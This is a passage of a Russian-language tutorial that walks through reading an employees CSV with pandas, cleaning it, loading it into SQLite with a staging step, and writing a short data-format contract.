import pandas as pd

df = pd.read_csv(
"employees.csv",
sep=";", # подставьте свой
encoding="utf-8-sig",
dtype={"id": str},
decimal=",",
thousands=" ",
)
print(df.dtypes)
print(df.head())

Исправьте параметры, пока id остаётся строкой с ведущими нулями и salary — числом.

Шаг 4. Очистка

  • обрежьте пробелы в заголовках и строковых полях
  • приведите salary к float
  • проверьте дубликаты по id

Методы — в 427.

Шаг 5. Импорт в SQLite

Через DB Browser или:

import sqlite3

conn = sqlite3.connect("employees.db")
df.to_sql("employees", conn, if_exists="replace", index=False)
conn.close()

Сверьте количество строк с исходным листом. Маршрут новичка — 101.

Шаг 6. Staging (по желанию)

Повторите загрузку в таблицу staging_employees, затем SQL-запросом вставьте только строки, где salary > 0, в employees_clean.

Шаг 7. Контракт

Оформите короткий markdown-файл employees_csv_contract.md с выбранными sep, encoding, форматом даты и правилом дедупликации по id. Согласуйте с форматом TOML-конфига, если pipeline описываете в репозитории.


Связанные материалы